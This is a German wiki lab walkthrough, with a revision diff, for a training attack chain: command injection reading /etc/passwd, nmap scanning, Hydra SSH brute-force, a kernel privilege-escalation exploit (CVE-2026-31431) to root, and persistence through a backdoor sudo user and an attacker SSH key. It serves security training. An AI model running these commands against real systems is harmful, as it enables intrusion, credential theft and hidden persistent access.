Attack Chain Example: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 124: Zeile 124:
 
: UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in <code>/etc/passwd</code> gepatched wurde.
 
: UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in <code>/etc/passwd</code> gepatched wurde.
  
 
<!---
 
  
 
== Stabilisieren===
 
== Stabilisieren===
Zeile 145: Zeile 143:
  
  
 +
 +
<!---
  
 
=== Phase 5: Cleanup ===
 
=== Phase 5: Cleanup ===

Version vom 13. August 2026, 14:11 Uhr

VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc

Ziel
Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen gecrackte Credentials, und abschließend Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang.

Voraussetzungen

  • VulnSite läuft auf victim.secure.local (192.168.16.213)
  • SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
  • User christine existiert mit UID 1006 und schlechtem Passwort
  • Wordlist bad-passwords.txt mit dem Passwort
  • Python3 für Copy Fail Exploit
  • Kali Linux mit nmap, Hydra, SSH Client

Phase 1: Command Injection & Reconnaissance

1a. Web-Interface erkunden
VulnSite unter http://victim.secure.local/ aufrufen, host.php anklicken (Command Injection Modul).
1b. Vulnerability ausnutzen
Im Eingabefeld folgende Payload eingeben:
xinux.de ; grep bash /etc/passwd
Das Semikolon beendet den host-Befehl und führt danach grep bash /etc/passwd aus. Im Output sichtbar sind alle User mit Login-Shell, z.B.:
christine:x:1006:1006:Christine User:/home/christine:/bin/bash
1c. Erste Reconnaissance
Notiere die Usernamen mit Shell (/bin/bash, /bin/sh). Ziel-User: christine

Phase 2: Port-Scanning

2a. Standard-Portscan von Kali
Von Kali aus scannen:
nmap -sS 192.168.16.213
Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993) sowie dass Port 22 offen ist.
2b. All-Ports-Scan
Suche nach zusätzlichen SSH-Instanzen:
nmap -sS 192.168.16.213 -p-
Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).
2c. Service-Version
Bestätige SSH auf 9922:
nmap -sV 192.168.16.213 -p 9922
Zeigt OpenSSH 9.2p1 Debian 2+deb12u7.

Phase 3: SSH Brute-Force mit Hydra

3a. Vorbereitung
Stelle sicher, dass die Wordlist bad-passwords das Passwort für christine enthält (in diesem Lab: 112233).
3b. Hydra-Angriff
Starte den Brute-Force:
hydra -l christine -P bad-passwords -s 9922 192.168.16.213 ssh
Hydra findet schnell: [9922][ssh] host: 192.168.16.213 login: christine password: 112233
3c. SSH-Login
Mit den gecracten Credentials anmelden:
ssh -l christine -p 9922 192.168.16.213
Passwort: 112233
Nach erfolgreicher Authentifizierung landet man in der christine@victim:~$ Shell.

Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation

4a. Exploit herunterladen
Vom GitHub-Repository klonen:
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/
christine@victim:~$ cd cve_2026_31431/
4b. Vulnerabilität testen
Zuerst Detector ausführen:
christine@victim:~/cve_2026_31431$ python3 test_cve_2026_31431.py
Ausgabe sollte sein:
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
Das Kernel-Subsystem algif_aead ist anfällig und kann Page-Cache manipuliert werden.
4c. Copy Fail Exploit starten
Exploit mit Shell-Flag ausführen:
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell
4d. Exploit-Ablauf
Der Exploit führt folgende Schritte aus:
  • Findet Christines UID in /etc/passwd: 1006
  • Patcht die 4 Bytes der UID im Page-Cache: 10060000
  • Bestätigt Patch erfolgreich (Page-Cache liest jetzt 0000)
  • Ruft getpwnam('christine') auf: libc sieht jetzt UID 0
  • Exec's su christine automatisch
4e. Passwort-Eingabe
Der su-Befehl fragt nach Christines Passwort:
Password: 
Eingabe: 112233 (das gleiche SSH-Passwort)
4f. Root-Shell
Erfolgreich:
root@victim:~/cve_2026_31431# id
uid=0(root) gid=1006(christine) groups=1006(christine)
UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in /etc/passwd gepatched wurde.


Stabilisieren=

User Anlegen
  • /usr/sbin/useradde -ms /bin/bash -G sudo hacker
  • passwd hacker
Einlogen als Hacker und zu root machen
  • ssh -p 9922 hacker@192.168.16.213
  • sudo -i
Pubkey von kali in die /root/.ssh/authorized_keys vom Victim eintragen
Einlogen von kali root zu victim root
  • ssh -p 9922 root@192.168.16.213

SSH für Tunnel vorbereiten

  • sudo vim /etc/ssh/sshd_config
PermitTunnel yes
  • systemctl restart ssh